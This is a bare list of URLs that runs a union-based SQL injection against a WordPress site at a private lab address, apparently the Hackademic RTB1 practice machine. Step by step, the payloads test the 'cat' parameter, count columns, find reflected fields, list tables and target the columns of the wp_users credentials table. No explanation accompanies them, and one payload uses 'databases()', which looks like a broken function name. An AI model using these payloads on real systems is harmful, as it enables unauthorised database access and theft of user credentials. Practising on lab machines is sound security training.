http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=1 order by 6
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,2,3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,databases(),3,4,5
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()
http://192.168.56.104/Hackademic_RTB1/?cat=1 and 1=2 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='wp_users'